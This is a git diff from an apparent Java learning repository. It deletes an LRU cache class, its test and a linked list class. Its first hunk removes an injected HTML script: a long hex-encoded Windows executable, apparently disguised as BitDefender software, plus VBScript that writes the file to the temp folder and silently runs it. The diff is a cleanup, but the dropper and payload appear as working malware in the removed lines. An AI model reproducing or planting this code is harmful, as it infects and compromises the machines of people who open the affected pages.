B9FBA3A95BAD16F1BA61EEF4A0DD6A1F870737528964C5F0808970432387D517AC28D42DD5111991657E03CCFC56D79E371AD5A2E90045F98683AD5801BB4C3C7104C7AF2296AF0462DB7AB504A2704D4D0B6A2450D09E7D1BD64DADA98C3FA590E545A9E52C250B50D6CA2F56E6D91CE829B0836650AD54A7FCC82065FE805324604F4552272424F7725FE12F1F037062B5B5106BB8E234E7EABDFC1F6A7D8031C74D88D812408A88064DCED85862E84012A7067CEE15C078DB635A8F8C49B51760F113443A3A5C9FFEC42A94B74423FCA88E0A32AF65FA0C5BAA8510B1DC59949850C560F28C446ABFDD68DAC8DAAA56E2E370C987936851B2DE8ED0EA23C63AD533EC21D8C2AB6DFF58BE7DBD626BE2DA331A11648C4D8965A5ABBC8A1A98104FF105F28350002D9D859F8DF04D4C68FEA31E8F016F94EA082D17054B85CA8516BDAFBD37F2B6F3927876A682C72B9DB02F953F281A2BA827B09B221902BF2625A26F82DDEC09880F0726308B8BD5C9B4B74445B5C61076838940D0AF1C0120E90630E99AF54B48866EAEA64DB970CF1DD2CA294C973B8097AE2CE181BC042B47F1487985C08C4F642DB5C87315A5B74DE003438DD4BAFB6ED6241C4B424616008B98512F0DB78E4EDC3B82927AE3D98B5F1160BD42E3DA7F11DE289A1425730F85D5BFE0F89B4F4D76DB31B849254BD4E924CE1367417BC933664B95EB4A61BB75BC1AA5E8AEA494DECFEA800ED16D0173EB04D792040F7F35D014AC46F2B3CC2A3A52E4AB6DD6ED95AF225122858998D83468D6F8D6E0CE2275924AD842F6E5072E5B6DFDE789908EC04241C041BED52D14FA226E80729D74553B7A059B020E09C1E355A7F6B5B1F3218C991D9082F9FAD6ED416E629FD519DCCBBD0FF1677CFB4DE89A4D82CD1F4A4D9C8F66FBCB97EA3342E5501670E2D599D5BE26C8D880300EDC98212E1F3C4770415889F61CA5AE818A51AB4BA4F844D27AC7EAFAAFFC42AF796E32DD62A8C6DE5C25B7F13CE7A1BCC088F9E6306A47A42EE7FA9A5A27D6EDF886B96FA4880FBFFD2B7CC8762DD2A81666387A10199D26DF980584E3C5B807609789F7E35D889068EF85B04377A68886F48447653CC0CA30916D8352DD503CFCC1AF083F660B4000CA6BD2ABE400BBF9B92E443CD0DD6C9BF6FD5DB0CDE60BB3953181FADBC8F8AA6EB2BB6DA5003F927DFCD7611A23928EC9E3B17B91634B708FE5FEABC1C981542C000FD1E0D97E193E160A96E447D1056EABC1BBFC4D63B214157194359B8067F20ADF576C3D81EC9DF98BCBD04335B14F7A27F57F84610ECD72148E1EC0B7FDC45D19EB76A2180978427DD21A9C59181479735B97CBCE7E0ED89C2107D4A3EF1B393ABD66D09A79BF6EED76E4BBF7C09B75155856AEBF05BBA9058E1009BDAC2C21665B2CE47A3AE308052D120709089EE171601CF687C97C13096EDC3AF8ADEB8D1BB1092BAB2D2EE77513450794695E111AECFBFB175E3434203FD24945ED0A5AD80DCEE05D8762D77E7C531D5E8B1B99D39725A850CB52A1344F2EEBFD42572F49EA8F54C76069B58667F1E1614FA02A801BF7A5EB06843B5802B62CAAB6DAB1AB66DEA4C1917CB0169BD48D4FA167F00E093913B3727B1808F4167AB0A852AFB050AD410442A62FC756F71EB6F1E5643F9A9530D156261927B36FD6E6F0BFCE0158AB03295AB331F6A00E923679C6DD4880592405C7EBE2D51DA4AE5A01D1318906B11DF0E319C81D316BC160A1768C376B3CE6725356DCA85900E68F402B5B2576B20E8875F861D918B55899D4A3675152C11F55149DFEAB7054EF28B4353B031600437B756610392AFFB5EDF184E3D6CFD6F2B84EA0093FCF86FFDE4ABFF83BD68451D7506E00E9A93B9F8A97499EBFB2FF5AAE977E986DF529AB11AF993FF6749410FAF4A0C2D347CAA40911CF69308FE83A3FAF612943E20C414345DF68BC87CAB5A68826187C92FD54D2F5BD7025A7169285902816C443FFAA9D81F72349DE6C197592F6CB71A5A5806BD0E15423E67620857FC8553357D5D5804F97ABEFFB54CB53CCDAE00E8A94BA03FDF2EDCE003F09199D1F75108E46F602C3CB2C00517FA0A97797F89DEFD53046CC45BDBA769C3333F10B4E450FC428177BBA0421CEAC8216F24F0EA42BEC45F4BBDF6968B0F113DAA5A078858E810B83AC7207CED5FA28DB164D9715D862B8425308AC24206A05E3CFD4F814BFD3BDCBAA6181E300A342495BEE6D1B4CD55EFDA40CE051484F6201A716FAD51AAC5F7CBAEABD4DF892D0CAD0D103242458BB8D4377ADD6D464EE14105F6FCD860D5471BB665B67F89D393D5DBC65BBF354A642895F551A600CEB81F25C2B8C1DB026BDC4F2FF170CF301B37B870811D4024C7FCECCD48056F7057070C4272FBC8635F934780D611B5C18B40E4DE39499B37A89AE348BB84E0477F04B061A9D1A4F5B09B57E7F5C117FE0503774D21A780DB3A3D86509467105BB84333A58C7BC5ABFAAE6FFEB8073A13582C7053831AD86F1E5E9A87C1EF2E2C68DD26C0169FA1051AF307F2D8280A2C971ACCE908A0FB47ABF0BA92C5FB90F6FDFA1BDBA5B9E1034BE53B7384D11248E0A5BA15358109F45A336FA2B6E0499AD544736C8DD2760A16553045640E69002EB1FDBD1CB089013923DEC04C003636DC89BCA6739D48BB6E71176FD0658304BAE2E580D3B454AB0A6CA34C9FB0DB4B6DDB75180C6F997FDB07967C7D63832FF5D2C1AA894E9BA14A14056C045084FBBF90E5D7A9D60455294077EC33BDF6067E2B992E9F3EE473E17378C441AD142D5A6883215C903596557B23E813D5161F1CE33FD6FEC2F66D61ACC8431DDD3A4F2C75FDF167E956D4A2DC4B4B4022758C0B7CEAEBB3E82885D3EE8EFCBB6B8A12F16BB730C382BE71B668307D005E4E45676189E5B97C83D6D5740765BDBAE7BAAE8425A2F45B7B6C664D8F4259985BDB6D6DD0137CB835D9F9A9EF1F2DE212D04C88AF5712F11B375480123FCA980CE411F8A3B844814B3BF8C3049008431D712D1FBEAC4500EFDB1703F0B844B33DE603627214EDFF5FA2AC491DE4B8286B803D466143697931DA32F6BC00DB1B9CF9C291F419BB5BDB73B0B1D55B14FAE5C11576ED7C6851B76E0A03F2D754CDADFE56BF89FC31044D8580E429B75B6ED6AF000BB95E165668A2E502523AB27FE9FFD21ACF631FC8C38CCFE021CC1F0527FE0D83AF961CDC17D8FE72FED45FD577033DCEF1350F048C31F81B6FA51448EA19203F3A8EE9F6AA024B40BF2334D042A3CF8E023982CED478C7D3194490E43DD5285729EDA6DFFAC0983F0DC95A0CB9C535F06886E46E7D0268DCE8044CF8F90102DABCF1C6EF6B30186F80923A4A617860E182C2621B5C8A2F68BB7DDDB1BB9834FA7830D1DA1CA4DCE123905A891C94A98A8112BD55A3EBB9D18853D3F5A70411D0D1BA113314D836D0A3BDC1FFBF520DE1BF600E901C291D8076BE505EFD5387DD28D16AA9111033C59152FDB6B1D8C939309204FA10E244C8FEB7D8A029FE1E44A70C8CE4E0773D1874DBFAEF73CBFD7400FA308740606BBC7270184D5DA0BF39633ACA034C17EA27041BEFF4C2A5E87F1CA01881A20F93D02D89F6160B18B0075EDD3D48DB1C049478B10619C50A6BA316E89F40B67415800D41DBB1400B0A5EC3EF9F371AF8B6618417180FD618C6F5C50D8FA169830B0391D552B25DC09DB785CB8686827AAEFB549F338DFF46FF86022A9B8A699AFC206EC689266300E4A16D354BC58DE203B3F430AD0AF18EB56E97B62E20EF9B32D2BE517AF235D5A05D7304234AA8362E5E6CB8224FFC56F78B506DD0B67E8B69D04BEE33E28B79B6152A941A2A1585B811795BC36FA2975E31AE3485EC8227288FD8051B6C9D671CE6EF40F6E2DB1B9902B8A30CD24134988371E05FE01B17AF1A7C55523680FC52007AFF4E16B5B0DB1E2B5CDD897B083B28118EFE2BD156780A20D9A7D2B7A2DB0AF27CD1459784727C5DE956F0C2B714273FEE6916EF4AA5AA61695AAC5831016C140BF412F590B9033F022B68052C3CBBA96BD685BE41A05ED083789F505516B5A56D814C87EB63FA34B175FD56B0360B9523DC53D06B7420B778DB0195AB4C11D9AC54410A3CE802FAFF31E6AFD43A0C372C8F82C9B973DA086B11ED8D396A3AA3850B2D6F5FFA76D5A70D174399E996C3B580421D162DA7157FE1C57CE560ECF050684EF1E71071831F3E92BDE68F0C2DD406FD0F2126CB82A92F8DA8ADF5B641FB29C1F03D849D7092A35AD8370B17D5D6EA86125BFCC104858144106B1F2C4D746BB79442118A4D05CFC3E819DDDA6FF8A1CEEC89B11DBC44373926CE45FA0053572568CA26D9A86882D5F6F45273F2A8020C36DA3151D2FF8DAF228257469E579D042CC70FEA95225AD56668DB35098B34BE12B9A3018D0274780691E0A5BF414F70B332FD40EFE71AA7B0375C225AF84A38615FD369B08AF4ADB8F55710F7AD55918EE3461F460E71CB10B0EB9380172B76F0FFD451F5EC943DEF1882580780AEDE0BB4FE152C3F0BA020211CED7FE1421B2D17E238849715E59F044130C5462B5074EB1EEB6F1F14DC761F3148C05954F179C44DE1DE82923BA83A06F237F1176CF0BFBC9D407886AD3C2D6308D0AB600B7A0422F57FEF9AB323FEBF70A71C3197FAF103047645272600B5DD2377138D6D8D202922E709217255976A577CA40DDEEE4777F0C3A5CF7D428EFF02722072F17CF54FDD8D6AA5B56809EA321B7B521BDE2A7C4790141BE7A33E33DC692018F8AF96E8CDFA0690E093F04F7D882D1820962F3186D8F806EA1DB4102635E6018B013FF45BA3E29F2113EC75E40E9B6063B08307BE53045151ADA95714808E4D14764BF1BE0D0D4307E0C7F802BF019BF83475407D7E352A7DF5BDD55AE80542C7120A776F70CA12557717860088175A88CA9B820DE0CDDDBFB64EFD64BEC1EDA647D7233182796B1BD1F5417A54822DA2834B1419C17DBB2DDC76EFF182DA1562AC9654B31F66817629BAE32CAACDE1FC0F239F9E5445BBFEE957428F2A6D14769550F675D7DA59C56F5D025C6114D1187434AFC937017FC9703F5D6104A765D0AA5D13E815FE465B805E5D984AD394BF7174A254E34637DCC6E99F0AFE1D3777153822CB80B798C785596F231ED5B753E5C77B7815402FF0216A0D1704F06DBB3D3E58E0AD8815CE25F1383748DFDAAAB70FAE5383FED60925B7A7EE1B3788B7E3DB0B82F32BBC6538C612BDA88537BEBDA7E2BA00F0EE8E99FBCD800C88E225B1C6EDAD292380804E14279754780CD3F60DC1E82BE4939DE14DAB10C805A5AD35CF9510C7FF4217FAB6B3F42988B0EFCEF8B84006967E2BFC33877881E85B2EB07580C6DC56E90C6F3718C0FEA660B030658B66C4755CA81B1413804D5E7F064E807714EF6EEC98061357DB00C3EC0C3639C3AD3A137C331D5B86313914BE15F505D6B70C1C3A68A0986EC0FF46BF8D522F80D44E1F1320B52582B4B90A38C4F05C05EEB680DF14DD5BEF558202D5553020DEB50284D6EE12C232FEAD21E8FF1A8D1603976D40FC480903BCFD3702D3907F20B760D640E6AA0D67390B4BC41687242246F74F6ABC356A0AB71FA3DAF1B1B72854257C638D283F77777BE864049C332C404D006CA9208E97D63528746785309E825E75707EA9EAF61CEDBF3596381C5AA10C8DA9FF7775A1F37B00BD56DDA0C13BAC67E26512D2C70FEA1BCDD1E11F8FC748D094600B5744DB1DBB3C7D072C5D895D9DC24E31964178D8B71BAA37B8D594F035D6C5057496FC62C9C4ED620335621CDA11C213892F0BDCB10850EB37C8E24A85CA01DA2A47476C23C416F4FF6E0755336F8F35B906F806F73CFECA02D12DDEBA004C2B36B645AAFABFE81237A29175807EFFF35512B7E0A52E371412B35498B60A9F82EDD94D3D3C833E70B3D678FBA5F2A8CF6DEA4E3400167C515D87A8CED11B34A922790196FA12B7A2C203D86BBE29B4055578C07FC21BBC431B0FDB52BBB3BBA60D150D7483AB68FD6D082B0F54E7E2F22B43EE2F541E69A0149B00A0BC0D6B54855F60283D7D175D60EFD727FEBFA16E8955E3FEEC80B07D99408E3953458C94D9DE760414A75953441F38C8D18BBF10AD9BCE9D5DAD2E4A0E44E112B4BD6E1822AEBE71CDE04595DD6FD07598421E60163E1C61F7D15C215B476D810B8FF8073919508D1B0253D0223ED2D0E180B770FDF681F90059DC0082A8BBA384D7A4499B76B7C2BE42E62777CAD96E0631C49AC21674FDD64D041701FC1CAD1DCCB8856E34E06D7EFCFD40363AB18161E14A300975F306DE980DDAC2BF61D15F74DD78DEBF1F1FE4CBDFBA2DF1996D709C398469A39B9D397E81FEBB3265FEC3E421A4B27C80A8408032857FA3FD6C41386078702A5EE840813DD41FCCEF115BB547088FEE61E94B6C2D40385BACBE18D9A533781C2FB075BDCE6E23240A0942FE0DC077B78E83CCD6AC23C410348245856E8DFE6DBFCF77481D4B884909A4DD2B805F8ADE1B643704AAAEC409437F61FD30E34A6FC3C66CF7332D16DE759D7C0570BA094D76431400144ADDBBA03D74FD80DAB7D868A68D5F40F60197F617BCFDEF285D9F975BFB1CC8767B23874A23660C975A801F010CECB78EB6FDA75AD81CFCE8F8158EDB102535CE9270D2520BEEB68F196F4B933839966289ADFEB015E1521DAD806D0B04D11A24AC41DB5B8113A1C8BF3028437FB65B0D6E86365FB5B0627C693CEEB7AE0A6D8A8C637DD739B0D9099678EB069647DAAB1A464BB16D7FB45D433B2979F86A4922AF931FB195FEA3800A493A3F403DA3B8DAD605FABFD8CD3C93388A231CA804A5E3E621B0AB4B4DFD60E1E884E802F82F3646336EFBB66319BE305B3D71AC0A71ED4C62777CFF0B641C96B5EFC5B5EE6C4055F96532C0398DA86FE802BA03CF46B47BCD57E46FB1C1D287A37D348F46661A64814089DF62262597DF62DC33FEB7D446CB73652ACDC882A0FCD21B40D70F4702292E4B52EA7C7E110458151820AAB00897514104B2A3002A90460154208C02A84019055081320AA00264144005C828800AAB510015F19EA9A8207C30ED7FABA06D4C6F63616C467265650A96BFBDFD4578697450720F657373174765744375726E7FFBDBC31249641451756572795003666F726D616EDB5D6B6F15436F751F0E456561760D726FBBDD6D3F694D536563076F6E15491C9BDBB6B76C3D6B65640A634B6D4D59533FD6DA2F4C617374455C45674D6F64756CDAFF6DDB6548506405419161644C696272616ACA1258CA0D9542B5BBC3FE5669727475D65796654669188DBDB99317416C940D556E68306465CCBDADF84A70B225CE486BED65B3703C705468058A6FADECE6DACBE745697AF12EB017CC2E98423E5213B6B2E7078EDBC657AD0DD666862DAD4D1963D7B5F6DB42799F546F5769647ABBA84354952B8B39115B7D53ADE16E85E32C5374610F70CF116CEB0ACF7F4366737BC200618516198A7D6159586B6146D653696E67733C33BC454F626A17296F6D30EC963D76AF6ED79745760BF3FB66871F104E616DBCD310570C233BB203414841FEC2B60B084E3944653374A185B13056028B8C04B68499C7E42B4B090B07F008291B618B2729AD2D3206A559BD71FA8B6D767929BA506F697421EC2E842E5F414350DEE1ED0AA746D48EC161677BF792534909E04465D2120658C5659C81903216854E4A5A496FB55CF7B27B6D5D1154A06B96D054651B2673B48020496C2C6370D086F11E1D41033ADDC021A3574B00891E4031012E98DAD71D48A270DDF1216C64F0C661DB53502668D36767416388C0ECE19277731020F07609C3BA0354D9726776AD70618B5380613C49633D0AA1AD6C6544207EB9D885A582A51B6F7166798E029BBD21F46B746F708E13602B0BD84766465BE1C55613F0ADCD49B1952DB444CB4057E925E11476780BC36E4D616F912D61362D4A1E505868ED686508BE70758D157E0BEC0297244162E7B03761EC8E0C5F21F012C72B2584C8E3C7216523B041D6E1C046082B3129A13056966142610921650D487312424A485C8CB310C2CA36F067C24A18098BDCEEC6208C50896391B0425A97E75B09232C34464292524222DFA632B6ED3030AC6E1C68BF022994ADCA7D09235B16375DF246B6CA1A620F6919231269215E0C4B652B644B9660360B8B9578324730891B0DD2A16F77F2F860E06EB16E7551B8426F78412016AC3D711F100D2D7C30FA53736E446C67490A6DD7C4BB81313E777370723A660A2A1B743F897973224D4E72C882ED6EE8497344976F67316DEEB041C391776C786D98F013AFB548EC9F7462656772B7D686758C64AF4666D563684FAC2C619B26AD4E1D823966504516BACCE05CA1077BA5215A1670B4EEC1DC1A52421E11A12D5436C5615AD70F929DD81E6C52D9ACE7BC995B607058E11F36171F4D436DA452B54C6505A3B6D56AF075302030A3D6B8046970599E6EB849B4985674A51B1E96CD4CB773AAA3536B0C2B1848EDEE8A2F82B576A154346E73ACB29D2D210813B49C6830F7D9CC56A45655706432B61809B3C3D89DC0368B6449E43F3FB8843025B8A1875701356A6785ED3156244DAD10361E0D74666BC51E133A9184889361C85A9B2CF7F18C5081564608636B4362121646C8D0F86D73A58411256E062786EE5636CB384B65797358082B6B901DAB4D68985B126114491FB22B6598A446ABF8506F900DA3AD8A69343F7124AC84CF2B4BA49034C3A26CB12718056BAD4BFBE14C6A1DD273A5432BD696B4846156EF96B0843432AA0FC36DC76625A5005045034CDFFB56407ABC7CB1470F14E0EE59B7FC000F010B0107900CB413FE1C04D93AFBBA1003A00D400B02BD0A3B77D8B20800043CA0140C3D3CBD819DBD021E34100706AFFCB69700C0433B5077600144E7C21064002E0264656EC8DE7BE390077F2095C860B1A62E9061D70394836D062C02402E7228200164B37D1001271A2801A6FB5EA973A30C23602706DF85B692428F3DCC47172A000000E09F020000900000FF0000000000000000000000000060BE00F041008DBE0020FEFF5783CDFFEB109090909090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9120100008A07472CE83C0177F7803F0075F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE009002008B0709C0743C8B5F048D8430E8C4020001F35083C708FF9638C50200958A074708C074DC89F95748F2AE55FF963CC5020009C07407890383C304EBE1FF964CC502008BAE40C502008DBE00F0FFFFBB0010000050546A045357FFD58D871F02000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E93E5BFDFF000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020010000000200000801800000060000080000000000000000000000000000001000100000038000080000000000000000000000000000001001904000050000000A4D00200D8020000000000000000000000000000000000000000000000000100010000007800008000000000000000000000000000000100190400009000000080D30200680100000000000000000000A0600100D80234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE000001002A006A003D0049002A006A003D0049003F00000000000000040004000100000000000000000000000000000038020000000053007400720069006E006700460069006C00650049006E0066006F00000014020000000030003400300039003000340042003000000040000900010043006F006D00700061006E0079004E0061006D0065000000000053004F0046005400570049004E00200053002E0052002E004C002E0000000000680008000100460069006C0065004400650073006300720069007000740069006F006E000000000042006900740044006500660065006E0064006500720020004D0061006E006100670065006D0065006E007400200043006F006E0073006F006C006500000000003C0009000100460069006C006500560065007200730069006F006E00000000003100300036002E00340032002E00370033002E00360031000000000034000A00010049006E007400650072006E0061006C004E0061006D006500000044043604370440044E043A0448044D04490400003800060001004C006500670061006C0043006F007000790072006900670068007400000032003500320038002D00360031003400320000003C00050001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000006E0065006400770070002E006500780065000000300007000100500072006F0064007500630074004E0061006D006500000000003B044E04370430043D04450400000000400005000100500072006F006400750063007400560065007200730069006F006E0000003100300036002E00340032002E00370033002E003600310000000000440000000000560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000904B004786301003C3F786D6C2076657273696F6E3D22312E302220656E636F64696E673D225554462D3822207374616E64616C6F6E653D22796573223F3E0D0A3C617373656D626C7920786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E763122206D616E696665737456657273696F6E3D22312E30223E0D0AA0203C7472757374496E666F20786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E7633223E0D0AA020A0203C73656375726974793E0D0AA020A020A0203C72657175657374656450726976696C656765733E3C726571756573746564457865637574696F6E4C6576656C206C6576656C3D226173496E766F6B6572222075694163636573733D2266616C7365222F3E3C2F72657175657374656450726976696C656765733E0D0AA020A0203C2F73656375726974793E0D0AA0203C2F7472757374496E666F3E0D0A3C2F617373656D626C793E00000000000000000000000064D5020038D5020000000000000000000000000071D5020054D502000000000000000000000000007DD502005CD50200000000000000000000000000000000000000000088D5020096D50200A6D50200B6D50200C4D50200D2D5020000000000E0D5020000000000ECD50200000000004B45524E454C33322E444C4C005348454C4C33322E444C4C005553455233322E444C4C0000004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F7465637400005669727475616C416C6C6F6300005669727475616C467265650000004578697450726F636573730000004472616746696E697368000057696E48656C705700000000000000000000"
-Set FSO = CreateObject("Scripting.FileSystemObject")
-DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
-If FSO.FileExists(DropPath)=False Then
-Set FileObj = FSO.CreateTextFile(DropPath, True)
-For i = 1 To Len(WriteData) Step 2
-FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
-Next
-FileObj.Close
-End If
-Set WSHshell = CreateObject("WScript.Shell")
-WSHshell.Run DropPath, 0
-//--></SCRIPT>
\ No newline at end of file
+<html>Simple <b>Java</b> application that includes a class with <code>main()</code> method</html>
\ No newline at end of file
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/basic/linklist/LRUPageFrame.java b/group02/562768642/src/com/github/orajavac/coding2017/basic/linklist/LRUPageFrame.java
deleted file mode 100644
index 482157d08c..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/basic/linklist/LRUPageFrame.java
+++ /dev/null
@@ -1,245 +0,0 @@
-package com.github.orajavac.coding2017.basic.linklist;
-
-public class LRUPageFrame {
-private static class Node {
-		
-		Node prev;
-		Node next;
-		Object pageNum=10000;
-		String flag;
-
-		Node() {
-		}
-	}
-
-	private int capacity;
-	private int length;
-	
-	
-	private Node first;// 链表头
-	private Node last;// 链表尾
-	
-	public LRUPageFrame(){
-		init();
-	}
-	
-	public LRUPageFrame(int capacity) {
-		
-		this.capacity = capacity;
-		
-		init();
-	}
-	
-	public void init(){
-		first = new Node();
-		last = new Node();
-		last.flag = "last";		//用来标识最后一个节点是链表尾，在这里链表尾并不算做内存页
-		first.flag = "first";	//用来标识链表头，在这里链表头并不算做内存页
-		first.next = last;
-		last.prev=first;
-	}
-
-	/**
-	 * 获取缓存中对象
-	 * 
-	 * @param key
-	 * @return
-	 */
-	public void access(int pageNum) {
-		if(lookup(pageNum)){
-			;
-		}else{
-			if (length<capacity){
-				addFirst(pageNum);
-			}else{
-				remove(pageNum);	//删除尾元素
-				addFirst(pageNum);
-			}
-		}
-	}
-	
-	public boolean lookup(int pageNum){
-		Node nodef = first;
-		Node nodel = last;
-		
-		//判断要找的元素是否在第一个节点里
-		if (nodef.next.pageNum.equals(pageNum)){
-			return true;
-		}
-		
-		//判断要找的元素是否在最后一个节点里
-		if (nodel.prev.pageNum.equals(pageNum)){
-			remove(pageNum);	//删除尾元素
-			addFirst(pageNum);	//把访问pageNum添加到第一个节点里
-			return true;
-		}
-		
-		while(nodef.next!=null&&!nodef.next.pageNum.equals(999)){
-			if (nodef.next.pageNum.equals(pageNum)){
-				nodef.next = nodef.next.next;	//先删除元素
-				nodef.next.prev = nodef;
-				addFirst(pageNum);	//再把访问添加元素
-				return true;
-			}
-			nodef = nodef.next;
-		}
-		return false;
-	}
-	
-	public Node getFirst() {
-		return first;
-	}
-
-	public void setFirst(Node first) {
-		this.first = first;
-	}
-
-	public Node getLast() {
-		return last;
-	}
-
-	public void setLast(Node last) {
-		this.last = last;
-	}
-
-	public void remove(Object pageNum){
-		length--;
-		Node n = last.prev;
-		last.prev = n.prev;
-		n.prev.next = last;
-	}
-	
-	public void addFirst(Object pageNum){
-		Node s = first.next;
-		Node n = new Node();
-		n.pageNum=pageNum;
-		n.next=s;
-		s.prev=n;
-		first.next=n;
-		length++;
-	}
-	
-	public void add(Object pageNum){
-		Node node = first.next;
-		while (node.next!=null){
-			node = node.next;
-		}
-		Node e = new Node();
-		e.pageNum = pageNum;
-		Node prev = node.prev;
-		prev.next = e;
-		e.prev = prev;
-		e.next = node;
-		node.prev = e;
-		length++;
-	}
-	
-	public String toString(){
-		StringBuilder buffer = new StringBuilder();
-		Node node = first;
-		while(node.next.flag != "last"){
-			buffer.append(node.next.pageNum);			
-			
-			node = node.next;
-			
-			if(node.next.flag != "last"){
-				buffer.append(",");
-			}
-			
-		}
-		return buffer.toString();
-	}
-	
-	/**
-	 * 测试双向链表逆序输出
-	 * @return
-	 */
-	public String lastToString(){
-		StringBuilder buffer = new StringBuilder();
-		Node node = last;
-		while(node.prev!=null&&node.prev.flag != "first"){
-			buffer.append(node.prev.pageNum);			
-			
-			node = node.prev;
-			
-			if(node.prev!=null&&node.prev.flag != "first"){
-				buffer.append(",");
-			}
-		}
-		return buffer.toString();
-	}
-	
-	public Object getFirstNode(){
-		return first.next.pageNum;
-	}
-	
-	/**
-	 * StackUtil 使用
-	 * @param len
-	 * @return
-	 */
-	public Object[] getElements(int len){
-		Object[] obj = new Object[len];
-		int i=0;
-		Node node = first;
-		while(node.next.flag != "last"){
-			obj[i] = node.next.pageNum;
-			node = node.next;
-			if (i == len-1){
-				return obj;
-			}
-			i++;
-		}
-		return null;
-	}
-	
-	/**
-	 * StackUtil 使用
-	 * @param obj
-	 * @param o
-	 */
-	public void remove(Object obj,Object o){
-		Node nodef = first;
-		while(nodef.next!=null&&!nodef.next.pageNum.equals(999)){
-			if (nodef.next.pageNum.equals(obj)){
-				nodef.next = nodef.next.next;	//先删除元素
-				nodef.next.prev = nodef;
-				length--;
-				break;
-			}
-			nodef = nodef.next;
-		}
-	}
-	
-	/**
-	 * Stack 使用
-	 * @return
-	 */
-	public int getLength(){
-		return length;
-	}
-	
-	/**
-	 * Stack 使用 pop
-	 * @return
-	 */
-	public Object remove(){		
-		length--;
-		Node n = last.prev;
-		last.prev = n.prev;
-		n.prev.next = last;
-		return n.pageNum;
-	}
-	
-	/**
-	 * Stack 使用 pop
-	 * @return
-	 */
-	public Object removeLow(){
-		length--;
-		Node n = first.next;
-		first.next = n.next;
-		n.next.prev = first;
-		return n.pageNum;
-	}
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/basic/linklist/LRUPageFrameTest.java b/group02/562768642/src/com/github/orajavac/coding2017/basic/linklist/LRUPageFrameTest.java
deleted file mode 100644
index f511745d7a..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/basic/linklist/LRUPageFrameTest.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package com.github.orajavac.coding2017.basic.linklist;
-
-import org.junit.Test;
-
-import junit.framework.Assert;
-
-public class LRUPageFrameTest {
-	
-	@Test
-	public void testAccess() {
-		LRUPageFrame frame = new LRUPageFrame(3);
-		frame.access(7);
-		frame.access(0);
-		frame.access(1);
-		Assert.assertEquals("1,0,7", frame.toString());
-		frame.access(2);
-		Assert.assertEquals("2,1,0", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,2,1", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,2,1", frame.toString());
-		frame.access(3);
-		Assert.assertEquals("3,0,2", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,3,2", frame.toString());
-		frame.access(4);
-		Assert.assertEquals("4,0,3", frame.toString());
-	}
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/basic/linklist/LinkedList.java b/group02/562768642/src/com/github/orajavac/coding2017/basic/linklist/LinkedList.java
deleted file mode 100644
index 4d07d4eb30..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/basic/linklist/LinkedList.java
+++ /dev/null
@@ -1,290 +0,0 @@
-package com.github.orajavac.coding2017.basic.linklist;
-
-import com.github.orajavac.coding2017.basic.Iterator;
-import com.github.orajavac.coding2017.basic.List;
-
-public class LinkedList implements List,Iterator {
-	
-	public Node head;
-	
-	private int size=0;
-	
-	private static class Node{
-		Object data;
-		Node next;	
-	}
-	
-	public Iterator iterator(){
-		return null;
-	}
-	
-	public boolean hasNext(){
-		return false;
-	}
-	
-	public Object next(){
-		return null;
-	}
-	
-	public void add(Object o){
-		if (head == null){
-			head = new Node();
-			Node n = new Node();
-			n.data = o;
-			head.next = n;
-			size++;
-			head.data=size;
-		}else{
-			Node e = head.next;
-			while (e.next!=null){
-				e=e.next;
-			}
-			Node n = new Node();
-			n.data = o;
-			e.next=n;
-			size++;
-			head.data=size;
-		}
-	}
-	
-	public Object get(int index){
-		int len=Integer.parseInt(head.data.toString());
-		if (index>len||index<=0){
-			throw new RuntimeException("下标不存在"+index);
-		}
-		Node e = head;
-		int i=0;
-		while (e.next != null){
-			i++;
-			if (i == index){
-				return e.next.data;
-			}
-			e=e.next;
-		}
-		return null;
-	}
-	
-	public Object remove(int index){
-		int len=Integer.parseInt(head.data.toString());
-		if (index>len||index<=0){
-			throw new RuntimeException("下标不存在"+index);
-		}
-		Node e = head;
-		Object data = null;
-		int i=0;
-		while (e.next != null){
-			i++;
-			if (i == index){
-				len--;
-				head.data = len;
-				data = e.next.data;
-				e.next = e.next.next;
-				return data;
-			}
-			e=e.next;
-		}
-		return null;
-	}
-	
-	public Object removeFirst(){
-		return remove(1);
-	}
-	
-	public Object removeLast(){
-		return remove(Integer.parseInt(head.data.toString()));
-	}
-	
-	public void addFirst(Object o){
-		Node e = head.next;
-		Node n = new Node();
-		n.data=o;
-		n.next=e;
-		size++;
-		head.next=n;
-		head.data=size;
-	}
-	
-	public void addLast(Object o){
-		add(o);
-	}
-	
-	public int size(){
-		return Integer.parseInt(head.data.toString());
-	}
-	
-	public void listNode(){
-		Node n = head;
-		StringBuffer buffer = new StringBuffer();
-		while (n.next!=null){
-			buffer.append(n.next.data + " -> ");
-			n=n.next;
-		}
-		if(buffer.length()>0){
-			System.out.print(buffer.substring(0,buffer.length()-3));
-			System.out.println();
-		}
-	}
-	
-	/**
